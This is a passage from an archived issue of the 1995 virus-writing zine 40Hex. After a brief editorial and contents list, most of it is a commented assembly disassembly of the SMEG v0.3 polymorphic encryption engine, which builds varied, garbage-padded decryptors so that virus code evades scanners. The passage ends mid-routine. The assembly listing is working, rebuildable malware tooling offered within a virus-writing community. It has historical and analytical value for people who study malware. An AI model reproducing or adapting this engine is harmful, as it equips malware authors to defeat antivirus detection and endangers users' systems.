textfiles/magazines/40HEX/40hex014
2021-04-15 13:31:59 -05:00

12616 lines
464 KiB
Plaintext
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

40Hex Number 14 Volume 5 Issue 1 File 000
Wow, another release of 40hex. Bet you thought we were dead. Wrong.
Lots of stuff has happened since the last issue of 40hex. The most
important thing to note is that my apartment burned down back in November.
I lost pretty much everything, but miraculously, my 386/33 and the 8 megs of
ram inside it survived a BIG fire, the water hose, then being thrown out of
a 3 story window. All of the information I had was destroyed however.
The next thing I would like to mention is the Wired Article that appeared
about PHALCON/SKISM. It sucked. Besides the fact that I was called the
"Official Archivist", it was filled with standard virus hype. But hey, at
least we get to see a picture of Hellraiser and Mark Ludwig.
** If you subscribed to the Hard Copy, I lost all subscriber information,
** please either E-Mail us or mail the P.O. Box.
Where to get 40hex:
ftp:
---
aql.gatech.edu:/pub/virii
netcom.com:/br/bradleym/zines
WWW:
---
http://underground.org/publications/40hex
Email:
-----
fortyhex@phantom.com
Phalcon/Skism's Top 13 List of Things you Find in 40hex-14
----------------------------------------------------------
40hex-14.000 Mrrrh, yer stepping in it.
40hex-14.001 Smeg Disassembly
40hex-14.002 Kill Smeg
40hex-14.003 Boot Sectors Explored
40hex-14.004 Assassin
40hex-14.005 And Now for something completely useless...
40hex-14.006 Junkie Dis
40hex-14.007 Virus Spotlight: 3APA3A
40hex-14.008 Corporate Life
40hex-14.009 Grace
40hex-14.010 Level 3
40hex-14.011 Jump
40hex-14.012 UMB Residency
40hex-14.013 Avalanche
40Hex is (C) 1995 Phalcon/Skism. All rights reserved. This magazine may not
be sold or modified without the written consent of Phalcon/Skism.
Greetings flyin' out to: Qark, Antigen, Lookout, Dark Slayer, Theora, cDc,
MHP, #virus, and all the members that have gotten back in touch with us.
-- >> G-to-the-H-to-the-E-to-the-A-to-the-P
40Hex Number 14 Volume 5 Issue 1 File 001
SMEG is one of those ubiquitous polymorphism aids which have become fashionable
during the last few years. It was written by the Black Baron of England. It
tends to generate rather large decryptors. The only really interesting feature
is that it has the capability of generating CALL's to garbage subroutines. Note
that there are only a few routines which SMEG chooses from, so this encryption
is more on the level of Whale coupled with garbling. The debug script follows
the disassembly.
Dark Angel
Phalcon/Skism 1995
-------------------------------
; This is the disassembly of a SMEG demonstration program which generates
; snippets of code encrypted with SMEG.
.model tiny
.code
.radix 16
org 100
; Disassembly by Dark Angel of Phalcon/Skism
; for 40Hex #14 Vol 5 Issue 1
workbuffer struc
datasize dw ? ; 00 length of data to crypt
sourceptr dw ? ; 02 pointer to data to crypt
targetptr dw ? ; 04 pointer of where to put crypted data
db ? ; 06 reg0 encryption value
db ? ; 07 reg1 counter register
db ? ; 08 reg2 temporary storage for data
; to be decrypted
db ? ; 09 reg3
db ? ; 0A reg4 (always BP)
db ? ; 0B reg5
db ? ; 0C reg6
db ? ; 0D reg7 pointer register
rng_buffer dw ? ; 0E used by random number generator
cryptval db ? ; 10 encryption value
ptr_offsets dw ? ; 11 XXXX in [bx+XXXX] memory references
loop_top dw ? ; 13 points to top of decryption loop
pointer_patch dw ? ; 15 points to initialisation of pointer
counter_patch dw ? ; 17 points to initialisation of counter
pointer_fixup dw ? ; 19 needed for pointer calculation
crypt_type db ? ; 1B how is it encrypted?
initialIP dw ? ; 1C IP at start of decryptor
lastgarble db ? ; 1E type of the last garbling instr
cJMP_patch dw ? ; 1F conditional jmp patch
CALL_patch dw ? ; 21 CALL patch
nJMP_patch dw ? ; 23 near JMP patch
garbage_size dw ? ; 25 # garbage bytes to append
decryptor_size dw ? ; 27 size of decryptor
last_CALL dw ? ; 29 location of an old CALL patch location
which_tbl dw ? ; 2B which table to use
workbuffer ends
SMEG_demo: jmp enter_SMEG_demo
filename db '0000.COM', 0
prompt db 'SMEG v0.3. Generation Difference Demonstration',0Dh
db 0A,9,' (C) The Black Baron 1994',0Dh,0A,0A,0A
db 'SELECT THE NUMBER OF GENERATIONS:',0Dh,0A,0A
db '1 -- 10 Generations',0Dh,0A
db '2 -- 100 ""',0Dh,0A
db '3 -- 1000 ""',0Dh,0A
db '4 -- 10000 "" (Large HD`s Only!!)$'
_10 db ' 10 $'
_100 db ' 100 $'
_1000 db ' 1000 $'
_10000 db ' 10000 $'
generating db 0Dh,0A,0A,0A,'Generating$'
please_wait db 'Executable .COM Generations, Please Wait...$'
checkdiff db 0Dh,0A,0A
db 'DONE! Now examine each, and'
db ' note how different they are!',0Dh,0A,0A,7,'$'
diskerror db 0Dh,0A,0A,'SORRY! A disk error has occurred!'
db 0Dh,0A,0A,7,'$'
num2gen dw 10d, offset _10
dw 100d, offset _100
dw 1000d, offset _1000
dw 10000d, offset _10000
enter_SMEG_demo:mov ax,3 ; set video mode to standard
int 10 ; text mode (clear screen, too)
mov dx,offset prompt ; display prompt
mov ah,9
int 21
inputloop: mov ax,0C07 ; clear keyboard buffer & get
int 21 ; keystroke
cmp al,'1' ; must be between 1 and 4
jb inputloop
cmp al,'4'
ja inputloop
sub al,'1' ; normalise
xor ah,ah ; and find out how many files
add ax,ax ; we should generate
add ax,ax
add ax,offset num2gen
xchg bx,ax
push bx
mov dx,offset generating
mov ah,9 ; display string
int 21
pop bx ; display num to generate
mov cx,[bx]
push cx
mov dx,[bx+2]
int 21
mov dx,offset please_wait ; display string again
int 21
pop cx
gen_file_loop: push cx
mov bp,offset data_area ; set up SMEG registers
mov di,offset target_area
mov dx,offset carrier
mov cx,offset end_carrier - offset carrier
mov ax,100 ; COM files start exec @ 100
call SMEG ; encrypt the carrier file
mov ah,5Bh ; create new file
mov dx,offset filename
xor cx,cx
int 21
jnc created_file
print_error_exit:
call print_error
exit_error: pop cx
mov ax,4CFF ; terminate errorlevel -1
int 21
created_file: xchg bx,ax
mov ah,40 ; write decryptor
mov cx,[bp.decryptor_size]
mov dx,offset target_area
int 21
jnc write_rest
close_exit: call print_error
mov ah,3E ; close file
int 21
jmp short exit_error
write_rest: call encrypt ; encrypt the code
mov ah,40 ; the write the result to the
mov cx,[bp.datasize] ; file
mov dx,offset target_area
int 21
jc close_exit
call generate_garbage ; create garbage
mov ah,40 ; append it to the file
int 21
jc close_exit
mov ah,3E ; close file
int 21
jc print_error_exit
mov bx,offset filename+3 ; calculate next file name
mov cx,4
inc_fname: inc byte ptr [bx]
cmp byte ptr [bx],3A
jb increment_done
sub byte ptr [bx],0A
dec bx
loop inc_fname
increment_done: pop cx
loop gen_file_loop
mov dx,offset checkdiff ; display string
mov ah,9
int 21
mov ax,4C00 ; exit errorlevel 0
int 21
print_error: mov dx,offset diskerror ; display error message
mov ah,9
int 21
retn
carrier: call enter_carrier
db 0Dh,0A,'This was decrypted with a SMEG v0.3 generated'
db ' decryptor!',0Dh,0A,'$'
enter_carrier: pop dx
mov ah,9 ; print string
int 21
mov ax,4c00 ; terminate
int 21
end_carrier:
; SMEG code begins here
SMEG: mov [bp.datasize],cx ; save length to crypt
mov [bp.sourceptr],dx ; save offset to data to crypt
mov [bp.targetptr],di ; save offset to where to put crypted stuff
push bx si
mov bx,bp
db 83,0C3,06 ; add bx,6
mov cx,2Dh ; clear the work area with 0's
; the above line is buggy. it should read: mov cx,2Dh-6
push bx
clear_dataarea: mov [bx],ch
inc bx
loop clear_dataarea
mov [bp.initialIP],ax ; store initial IP
call rnd_init
mov bx,offset use_regs_tbl
call rnd_get
and al,1F
xlat
pop bx
mov cx,4
fill_registers:
xor dl,dl ; fill in which registers
rcl al,1 ; do which job
rcl dl,1
rcl al,1
rcl dl,1
mov [bx],dl
inc bx
loop fill_registers
mov byte ptr [bx],5 ; use BP as a garbling register
inc bx
inc bx
call rnd_get
rol al,1 ; get top bit of al
and al,1 ; to select between
add al,6 ; si and di for ptr
mov [bx],al ; register
xor al,1 ; flip to the other one
cmp byte ptr [bx-3],3 ; is it BX?
jne is_not_bx
mov [bx-3],al
mov al,3
is_not_bx: mov [bx+1],al
mov al,[bx-3]
mov [bx-1],al
gen_cryptval: call rnd_get
xor al,ah
jz gen_cryptval
mov [bp.cryptval],al ; store encryption value
call rnd_get ; get a random value for the
or al,1 ; offset of memory references,
mov [bp.ptr_offsets],ax ; i.e. the XXXX in [bp+XXXX]
call rnd_init ; generate a random number
and ax,3FF ; from 80 to 47F to be the
add ax,80 ; number of garbage bytes to
mov [bp.garbage_size],ax ; add
; the next block serves no purpose. but it is a valid text string...
xor ax,ax ; 3?SMEG????
add al,53 ; where ? stands for an upper
dec bp ; ASCII character
inc bp
inc di
add al,0AE
cld
sub di,ax
call rnd_get ; do the following from
and ax,3 ; 3 to 7 times
add al,3
xchg cx,ax
begin_garble: push cx
call garble_more
call rnd_get
cmp al,8C
jbe no_int21
and ax,3 ; encode a dummy int 21
add ax,offset int21fcns ; call
xchg si,ax
mov ah,0B4
lodsb
xchg ah,al
stosw
mov ax,21CDh ; encode int 21
stosw
no_int21: pop cx
loop begin_garble
mov al,0E8 ; encode a CALL
stosb
push di ; write garbage for offset
stosw ; of call for now
call garble_more ; encode some garbage
mov al,0E9 ; encode a JMP
stosb
pop bx
push di
stosw
push di
pop ax
dec ax
dec ax
sub ax,bx
mov [bx],ax ; patch CALL to point to
; space past the JMP where we
call garble_more ; encode a garbage subroutine
mov al,0C3 ; encode a RETN
stosb
pop bx
push di
pop ax
dec ax
dec ax
sub ax,bx
mov [bx],ax ; Make JMP go past subroutine
call encode_routine ; encode the routine!
mov si,bp
db 83,0C6,08 ; add si,8 ; default to using data temp
; storage register to return
; to top of loop
and al,al ; check return code of routine
jnz how_to_top
dec si ; if 0, instead use encryption
dec si ; value register to return
how_to_top: mov al,75 ; encode JNZ
stosb
inc di
push di
call garble_some
pop bx
mov al,0E9 ; encode a JMP
stosb
push di
inc di ; skip the offset for now
inc di
mov ax,di
sub ax,bx
mov [bx-1],al ; patch the JNZ
call garble_some
call rnd_get
and ax,3 ; first entry requires
add ax,ax ; no register setup, so
jz no_setup ; jmp past it
push ax
mov al,0B8
or al,[si] ; MOV word-reg, XXXX
stosb
mov ax,[bp.loop_top]
sub ax,[bp.targetptr]
add ax,[bp.initialIP]
stosw
call garble_some
pop ax
no_setup: add ax,offset jmp_table
xchg bx,ax
call word ptr [bx] ; encode method of returning
stosw ; to the top of the loop
pop bx
mov ax,di
sub ax,bx
dec ax
dec ax
mov [bx],ax
call garble_more
pad_paragraph: mov ax,di ; pad the decryptor out to the
sub ax,[bp.targetptr] ; nearest paragraph
and al,0F ; do we need to?
jz padded ; no, we are done
cmp al,0C ; otherwise, still a lot to go?
ja one_byte_pad ; no, do one byte at a time
call not_branch_garble ; else do a nonbranching
jmp short pad_paragraph ; instruction
one_byte_pad: call rnd_get ; do a random one byte padding
call do_one_byte ; instruction
jmp short pad_paragraph
padded: mov ax,di
sub ax,[bp.targetptr]
mov [bp.decryptor_size],ax
add ax,[bp.initialIP]
mov cx,[bp.pointer_fixup]
sub ax,cx
mov bx,[bp.pointer_patch]
mov [bx],ax
mov bl,[bp.crypt_type] ; get encryption type so
mov cl,3 ; the initial value of the
ror bl,cl ; counter can be calculated
db 83,0E3,0F ; and bx,0F
add bx,offset counter_init_table
mov ax,[bp.datasize]
call word ptr [bx]
mov bx,[bp.counter_patch] ; patch the value of the
mov [bx],ax ; counter as needed
pop si bx
retn
generate_garbage:
mov cx,[bp.garbage_size] ; write random bytes
mov di,[bp.targetptr] ; to the target location
push cx di
random_gen: call rnd_get
stosb
loop random_gen
pop dx cx
retn
write_table dw offset write_nothing
dw offset write_cryptval
dw offset write_pointer_patch
dw offset write_counter_patch
dw offset write_ptr_offset
dw offset write_dl
; In the following table, each pair of bits represents a register
; in standard Intel format, i.e. 00 = ax, 01 = cx, 10 = dx, 11 = bx
use_regs_tbl: db 00011011b ; ax cx dx bx
db 11000110b ; bx ax cx dx
db 10110001b ; dx bx ax cx
db 01101100b ; cx dx bx ax
db 11100100b ; bx dx cx ax
db 00111001b ; ax bx dx cx
db 01001110b ; cx ax bx dx
db 10010011b ; dx cx ax bx
db 01001011b ; cx ax dx bx
db 11010010b ; bx cx ax dx
db 10110100b ; dx bx cx ax
db 00101101b ; ax dx cx bx
db 11100001b ; bx dx ax cx
db 01111000b ; cx bx dx ax
db 00011110b ; ax cx bx dx
db 10000111b ; dx ax cx bx
db 00100111b ; ax dx cx bx
db 11001001b ; bx ax dx cx
db 01110010b ; cx bx ax dx
db 10011100b ; dx cx bx ax
db 11011000b ; dx ax bx cx
db 00110110b ; ax bx cx dx
db 10001101b ; bx cx dx ax
db 01100011b ; cx dx ax bx
db 11100100b ; bx dx cx ax
db 00101101b ; ax dx cx bx
db 00100111b ; ax dx cx bx
db 00011110b ; ax cx bx dx
db 11000110b ; bx ax cx dx
db 10000111b ; bx cx ax dx
db 11010010b ; cx bx ax dx
db 01110010b ; cx bx ax dx
onebyte_table: dec ax
inc ax
clc
cld
cmc
stc
inc ax
dec ax
; high byte holds the opcode, low byte holds the second byte of the
; instruction, i.e. holds the reg/mod, etc. the bottom 2 bits of the low
; byte hold the maximum amount to add to the high byte in creating the
; instruction. This allows one word to generate more than one instruction,
; including the byte or word forms of the instructions
; note that this is reverse of what will be actually stored
garble_table: dw 80F1 ; XOR reg, XXXX
dw 3201 ; XOR reg, [reg]
dw 0F6C1 ; TEST reg, XXXX
dw 8405 ; TEST/XCHG reg, [reg]
dw 80E9 ; SUB reg, XXXX (2 diff encodings)
dw 2A01 ; SUB reg, [reg]
dw 0D0EBh ; SHR reg, 1
dw 1A01 ; SBB reg, [reg]
dw 80D9 ; SBB reg, XXXX
dw 80D1 ; ADC reg, XXXX
dw 0D0FBh ; SAR reg, 1/CL
dw 0D0E3 ; SHL reg, 1/CL
dw 0D0CBh ; ROR reg, 1/CL
dw 0D0C3 ; ROL reg, 1/CL
dw 8405 ; TEST/XCHG reg, [reg]
dw 0D0DBh ; RCR reg, 1/CL
dw 0C6C1 ; MOV reg, XXXX
dw 080C9 ; OR reg, XXXX
dw 0A01 ; OR reg, [reg]
dw 0F6D1 ; NOT reg
dw 0F6D9 ; NEG reg
dw 8A01 ; MOV reg, [reg]
dw 0C6C1 ; MOV reg, XXXX
dw 0201 ; ADD reg, [reg]
dw 80C1 ; ADD reg, XXXX
dw 80FDh ; CMP reg, XXXX
dw 3807 ; CMP reg, [reg] (2 diff encodings)
dw 80E1 ; AND reg, XXXX
dw 0D0D3 ; RCL reg, 1/CL
dw 2201 ; AND reg, [reg]
dw 1201 ; ADC reg, [reg]
dw 8A01 ; MOV reg, [reg]
int21fcns db 19,2A,2C,30
counter_init_table:
dw offset counterinit0
dw offset counterinit1
dw offset counterinit2
dw offset counterinit3
dw offset counterinit4
dw offset counterinit5
dw offset counterinit6
dw offset counterinit7
encode_table dw offset use_as_is
dw offset fill_mod_field
dw offset fill_field
dw offset fill_reg_reg1
dw offset fill_reg_field
dw offset fill_mod_n_reg
dw offset fill_reg_reg2
encode_tbl1: db 8,8C,0,0C8,4,0 ; 1 MOV reg0, CS
db 8,8E,0,0D8,4,0 ; 2 MOV DS, reg0
db 7,0B8,4,-1,0,2 ; 3 MOV reg7,initial pointer
db 1,0B8,4,-1,0,3 ; 4 MOV reg1,initial counter
db 57,8A,0,80,5,4 ; 5 MOV reg2,[reg7+offset]
db 57,88,0,80,5,4 ; 6 MOV [reg7+offset],reg2
db 2,80,0,0F0,4,1 ; 7 XOR reg2,cryptvalue
db 11,8Bh,0,0C0,5,0 ; 8 MOV reg2,reg1
db 78,30,0,0,6,0 ; 9 XOR [reg7],reg0
db 47,0F6,0,98,4,4 ; A NEG [reg7+offset]
db 47,0F6,0,90,4,4 ; B NOT [reg7+offset]
db 7,40,4,-1,0,0 ; C INC reg7
db 1,48,4,-1,0,0 ; D DEC reg1
db 8,0B0,4, -1,0,1 ; E MOV reg0,cryptval
db 10,33,0,0C0,5,0 ; F XOR reg2,reg0
encode_tbl2: db 47,86,0,80,5,4 ; 1 XCHG reg0,[reg7+offset]
db 8,40,4,-1,0,0 ; 2 INC reg0
db 8,48,4,-1,0,0 ; 3 DEC reg0
db 7,81,0,0C0,4,15 ; 4 ADD reg7,1
db 1,81,0,0E8,4,15 ; 5 SUB reg1,1
db 10,2,0,0C0,5,0 ; 6 ADD reg2,reg0
db 10,2A,0,0C0,5,0 ; 7 SUB reg2,reg0
db 47,0FBh,4,0B0,4,4 ; 8 PUSH [reg7+offset]
db 47,8F,0,80,4,4 ; 9 POP [reg7+offset]
db 8,50,4,-1,0,0 ; A PUSH reg0
db 8,58,4,-1,0,0 ; B POP reg0
db 10,87,0,0C0,5,0 ; C XCHG reg2,reg0
db 2,40,4,-1,0,0 ; D INC reg2
db 8,8Bh,0,0C0,5,0 ; E MOV reg1,reg0
db 9,23,0,0C0,5,0 ; F AND reg1,reg1
routine4: db 10
; MOV reg0,CS (1)
; MOV reg7,initial pointer (3)
; MOV DS,reg0 (2)
; MOV reg1,initial counter (4)
; MOV reg0,encryption value (E)
; XOR reg2,reg0 (F)
; beginning of loop (0)
; MOV reg2,[reg7+offset] (5)
; XOR reg2,reg0 (F)
; INC reg0 (02)
; MOV [reg7+offset],reg2 (6)
; INC reg7 (C)
; DEC reg1 (D)
; done (-1)
db 13,24,0EF,05,0F0,26,0CDh,-1
routine8: db 71
; MOV reg7,initial pointer (3)
; MOV reg1,initial counter (4)
; MOV reg0,CS (1)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; MOV reg0,encryption value (E)
; beginning of loop (0)
; DEC reg1 (D)
; NEG [reg7+offset] (A)
; DEC reg1 (D)
; MOV reg2,[reg7+offset] (5)
; XOR reg2,reg0 (F)
; MOV [reg7+offset],reg2 (6)
; DEC reg0 (03)
; ADD reg7,1 (04)
; SUB reg1,1 (05)
; DEC reg0 (03)
; SUB reg1,1 (05)
; done (-1)
db 34,12,0EE,0Dh,0ADh,5F,60,30,40,50,30,50,-1
routine1: db 42
; MOV reg1,initial counter (4)
; MOV reg7,initial pointer (3)
; MOV reg0,CS (1)
; XCHG reg2,reg0 (0C)
; MOV reg0,encryption value (E)
; MOV reg0,encryption value (E)
; XCHG reg2,reg0 (0C)
; MOV DS,reg0 (2)
; beginning of loop (0)
; XCHG reg0,[reg7+offset] (01)
; XOR reg2,reg0 (F)
; MOV [reg7+offset],reg2 (6)
; MOV reg2,reg1 (8)
; MOV reg2,reg1 (8)
; INC reg2 (0D)
; INC reg2 (0D)
; INC reg2 (0D)
; DEC reg0 (03)
; XCHG reg2,reg0 (0C)
; MOV reg1,reg0 (0E)
; ADD reg7,1 (04)
; AND reg1,reg1 (0F)
; done (-1)
; return code 0 (0)
db 43,10,0CE,0E0,0C2,0,1F,68,80,0D0,0D0,0D0,30,0C0,0E0,40
db 0F0,-1,0
routineC: db 33
; MOV reg0,CS (1)
; MOV reg1,initial counter (4)
; MOV DS,reg0 (2)
; MOV reg7,initial pointer (3)
; MOV reg0,encryption value (E)
; MOV reg0,encryption value (E)
; beginning of loop (0)
; DEC reg1 (D)
; DEC reg1 (D)
; NOT [reg7+offset] (B)
; MOV reg2,[reg7+offset] (5)
; XOR reg2,reg0 (F)
; MOV [reg7+offset],reg2 (6)
; XOR reg2,reg0 (F)
; INC reg7 (C)
; INC reg0 (02)
; INC reg0 (02)
; XOR reg2,reg0 (F)
; done (-1)
db 14,23,0EE,0Dh,0DBh,5F,6F,0C0,20,20,0F0,-1
routineE: db 64
; MOV reg1,initial counter (4)
; MOV reg0,CS (1)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; MOV reg7,initial pointer (3)
; XOR reg2,reg0 (F)
; beginning of loop (0)
; XOR [reg7],reg0 (9)
; MOV reg2,reg1 (8)
; XCHG reg2,reg0 (0C)
; INC reg0 (02)
; INC reg2 (0D)
; INC reg0 (02)
; ADD reg7,1 (04)
; INC reg0 (02)
; INC reg0 (02)
; MOV reg1,reg0 (0E)
; INC reg2 (0D)
; XCHG reg2,reg0 (0C)
; AND reg1,reg1 (0F)
; done (-1)
db 41,2E,3F,9,80,0C0,20,0D0,20,40,20,20,0E0,0D0,0C0,0F0,-1
routine2: db 5
; MOV reg0,CS (1)
; MOV reg7,initial pointer (3)
; MOV reg1,initial counter (4)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; XOR reg2,reg0 (F)
; beginning of loop (0)
; DEC reg1 (D)
; XOR reg2,encryption value (7)
; PUSH reg0 (0A)
; PUSH [reg7+offset] (08)
; POP reg0 (0B)
; XCHG reg2,reg0 (0C)
; POP reg0 (0B)
; PUSH reg0 (0A)
; SUB reg2,reg0 (07)
; MOV [reg7+offset],reg2 (6)
; INC reg7 (C)
; MOV reg2,reg1 (8)
; MOV reg2,reg1 (8)
; INC reg2 (0D)
; INC reg2 (0D)
; XCHG reg2,reg0 (0C)
; MOV reg1,reg0 (0E)
; POP reg0 (0B)
; INC reg0 (02)
; AND reg1,reg1 (0F)
; done (-1)
db 13,42,0EF,0Dh,70,0A0,80,0B0,0C0,0B0,0A0,76,0C8,80,0D0
db 0D0,0C0,0E0,0B0,20,0F0,-1
routineF: db 56
; MOV reg7,initial pointer (3)
; MOV reg1,initial counter (4)
; MOV reg0,CS (1)
; MOV DS,reg0 (2)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; beginning of loop (0)
; MOV reg2,[reg7+offset] (5)
; INC reg2 (0D)
; ADD reg2,reg0 (06)
; MOV [reg7+offset],reg2 (6)
; MOV reg2,reg1 (8)
; DEC reg0 (03)
; XOR reg2,reg0 (F)
; DEC reg1 (D)
; INC reg7 (C)
; DEC reg1 (D)
; done (-1)
db 34,12,2E,5,0D0,66,80,3F,0DC,0D0,-1
routine9: db 27
; MOV reg1,initial counter (4)
; MOV reg0,CS (1)
; MOV reg7,initial pointer (3)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; XOR reg2,reg0 (F)
; beginning of loop (0)
; XOR [reg7],reg0 (9)
; XOR reg2,reg0 (F)
; ADD reg7,1 (04)
; PUSH reg0 (0A)
; MOV reg2,reg1 (8)
; DEC reg1 (D)
; INC reg2 (0D)
; INC reg2 (0D)
; INC reg2 (0D)
; XCHG reg2,reg0 (0C)
; MOV reg1,reg0 (0E)
; POP reg0 (0B)
; DEC reg0 (03)
; AND reg1,reg1 (0F)
; done (-1)
db 41,32,0EF,9,0F0,40,0A8,0D0,0D0,0D0,0C0,0E0,0B0,30,0F0
db -1
routine7: db 32
; MOV reg1,initial counter (4)
; MOV reg0,CS (1)
; MOV reg7,initial pointer (3)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; XCHG reg2,reg0 (0C)
; beginning of loop (0)
; MOV reg2,reg1 (8)
; DEC reg1 (D)
; POP reg0 (0B)
; XOR reg2,reg0 (F)
; MOV [reg7+offset],reg2 (6)
; DEC reg0 (03)
; XCHG reg2,reg0 (0C)
; ADD reg7,1 (04)
; DEC reg1 (D)
; done (-1)
; return code 0 (0)
db 41,32,0E0,0C0,8,0D0,0BF,60,30,0C0,4Dh,-1,0
routine5: db 11
; MOV reg1,initial counter (4)
; MOV reg7,initial pointer (3)
; MOV reg0,CS (1)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; XOR reg2,reg0 (F)
; beginning of loop (0)
; NEG [reg7+offset] (A)
; MOV reg2,[reg7+offset] (5)
; XOR reg2,reg0 (F)
; DEC reg1 (D)
; DEC reg0 (03)
; DEC reg0 (03)
; XCHG reg2,reg0 (0C)
; XCHG reg0,[reg7+offset] (01)
; XCHG reg2,reg0 (0C)
; ADD reg7,1 (04)
; AND reg1,reg1 (0F)
; done (-1)
db 43,12,0EF,0A,5F,0D0,30,30,0C0,10,0C0,40,0F0,-1
routineB: db 66
; MOV reg7,initial pointer (3)
; MOV reg0,CS (1)
; MOV reg1,initial counter (4)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; XOR reg2,reg0 (F)
; beginning of loop (0)
; PUSH reg0 (0A)
; PUSH [reg7+offset] (08)
; MOV reg2,reg1 (8)
; MOV reg2,reg1 (8)
; XCHG reg2,reg0 (0C)
; INC reg0 (02)
; INC reg0 (02)
; INC reg0 (02)
; INC reg0 (02)
; MOV reg1,reg0 (0E)
; POP reg0 (0B)
; XCHG reg2,reg0 (0C)
; POP reg0 (0B)
; ADD reg2,reg0 (06)
; PUSH reg0 (0A)
; XCHG reg2,reg0 (0C)
; PUSH reg0 (0A)
; POP [reg7+offset] (09)
; POP reg0 (0B)
; DEC reg0 (03)
; INC reg7 (C)
; XOR reg2,reg0 (F)
; AND reg1,reg1 (0F)
; done (-1)
db 31,42,0EF,0,0A0,88,80,0C0,20,20,20,20,0E0,0B0,0C0,0B0
db 60,0A0,0C0,0A0,90,0B0,3C,0F0,0F0,-1
routine3: db 4
; MOV reg0,CS (1)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; MOV reg2,reg1 (8)
; MOV reg1,initial counter (4)
; MOV reg7,initial pointer (3)
; beginning of loop (0)
; MOV reg2,reg1 (8)
; DEC reg1 (D)
; INC reg2 (0D)
; XCHG reg2,reg0 (0C)
; MOV reg1,reg0 (0E)
; XCHG reg2,reg0 (0C)
; XOR [reg7],reg0 (9)
; INC reg7 (C)
; INC reg0 (02)
; INC reg0 (02)
; AND reg1,reg1 (0F)
; done (-1)
db 12,0E8,43,8,0D0,0D0,0C0,0E0,0C9,0C0,20,20
db 0F0,-1
routineD: db 73
; MOV reg7,initial pointer (3)
; MOV reg0,CS (1)
; MOV reg1,initial counter (4)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; MOV reg1,initial counter (4)
; beginning of loop (0)
; DEC reg1 (D)
; DEC reg1 (D)
; DEC reg1 (D)
; NOT [reg7+offset] (B)
; PUSH reg0 (0A)
; PUSH [reg7+offset] (08)
; POP reg0 (0B)
; XCHG reg2,reg0 (0C)
; POP reg0 (0B)
; XOR reg2,reg0 (F)
; MOV [reg7+offset],reg2 (6)
; INC reg0 (02)
; ADD reg7,1 (04)
; INC reg0 (02)
; SUB reg1,1 (05)
; done (-1)
db 31,42,0E4,0Dh,0DDh,0B0,0A0,80,0B0,0C0,0BF,60,20,40,20
db 50,-1
routine0: db 20
; MOV reg0,encryption value (E)
; XCHG reg2,reg0 (0C)
; MOV reg0,CS (1)
; MOV reg7,initial pointer (3)
; MOV DS,reg0 (2)
; MOV reg1,initial counter (4)
; beginning of loop (0)
; XCHG reg0,[reg7+offset] (01)
; XCHG reg2,reg0 (0C)
; XOR reg2,reg0 (F)
; DEC reg1 (D)
; XCHG reg2,reg0 (0C)
; XCHG reg0,[reg7+offset] (01)
; XCHG reg2,reg0 (0C)
; MOV reg2,reg1 (8)
; INC reg7 (C)
; INC reg2 (0D)
; INC reg2 (0D)
; INC reg2 (0D)
; INC reg0 (02)
; XCHG reg2,reg0 (0C)
; MOV reg1,reg0 (0E)
; AND reg1,reg1 (0F)
; done (-1)
; return code 0 (0)
db 0E0,0C1,32,40,0,10,0CF,0D0,0C0,10,0C8,0C0,0D0,0D0,0D0
db 20,0C0,0E0,0F0,-1,0
routine6: db 55
; MOV reg1,initial counter (4)
; MOV reg7,initial pointer (3)
; MOV reg0,CS (1)
; MOV DS,reg0 (2)
; MOV reg0,encryption value (E)
; MOV reg7,initial pointer (3)
; beginning of loop (0)
; MOV reg2,[reg7+offset] (5)
; DEC reg1 (D)
; SUB reg2,reg0 (07)
; INC reg0 (02)
; SUB reg1,1 (05)
; MOV [reg7+offset],reg2 (6)
; INC reg7 (C)
; DEC reg1 (D)
; done (-1)
db 43,12,0E3,5,0D0,70,20,56,0CDh,-1
routineA: db 47
; MOV reg0,encryption value (E)
; MOV reg7,initial pointer (3)
; MOV reg1,initial counter (4)
; XCHG reg2,reg0 (0C)
; MOV reg0,CS (1)
; MOV DS,reg0 (2)
; beginning of loop (0)
; PUSH [reg7+offset] (08)
; POP reg0 (0B)
; XCHG reg2,reg0 (0C)
; XOR reg2,reg0 (F)
; MOV [reg7+offset],reg2 (6)
; MOV reg2,reg1 (8)
; DEC reg1 (D)
; DEC reg0 (03)
; INC reg2 (0D)
; INC reg2 (0D)
; INC reg2 (0D)
; XCHG reg2,reg0 (0C)
; MOV reg1,reg0 (0E)
; ADD reg7,1 (04)
; AND reg1,reg1 (0F)
; done (-1)
; return code 0 (0)
db 0E3,40,0C1,20,0,80,0B0,0CF,68,0D0,30,0D0,0D0,0D0,0C0
db 0E0,40,0F0,-1,0
crypt_table dw offset crypt0
dw offset crypt1
dw offset crypt2
dw offset crypt3
dw offset crypt4
dw offset crypt5
dw offset crypt6
dw offset crypt7
jmp_table dw offset jmp0
dw offset jmp1
dw offset jmp2
dw offset jmp3
routine_table: dw offset routine0
dw offset routine1
dw offset routine2
dw offset routine3
dw offset routine4
dw offset routine5
dw offset routine6
dw offset routine7
dw offset routine8
dw offset routine9
dw offset routineA
dw offset routineB
dw offset routineC
dw offset routineD
dw offset routineE
dw offset routineF
encrypt: cld
push bx si
mov bl,[bp.crypt_type] ; get encryption type
db 83,0E3,0F ; and bx,0F
add bx,bx
add bx,offset crypt_table ; convert to offset
mov di,[bp.targetptr] ; set up loop
mov si,[bp.sourceptr]
mov cx,[bp.datasize]
mov dl,[bp.cryptval]
encrypt_byte: lodsb
call word ptr [bx]
stosb
loop encrypt_byte
pop si bx
retn
crypt0: xor al,dl
inc dl
retn
crypt2: xor dl,al
mov al,dl
dec dl
retn
crypt3: not al
crypt4: xor al,dl
inc dl
inc dl
retn
crypt1: xor al,dl
neg al
dec dl
dec dl
retn
crypt5: add al,dl
inc dl
retn
crypt6: sub al,dl
dec dl
retn
crypt7: xor al,dl
dec dl
retn
counterinit0: neg ax
counterinit1: retn
counterinit2: neg ax
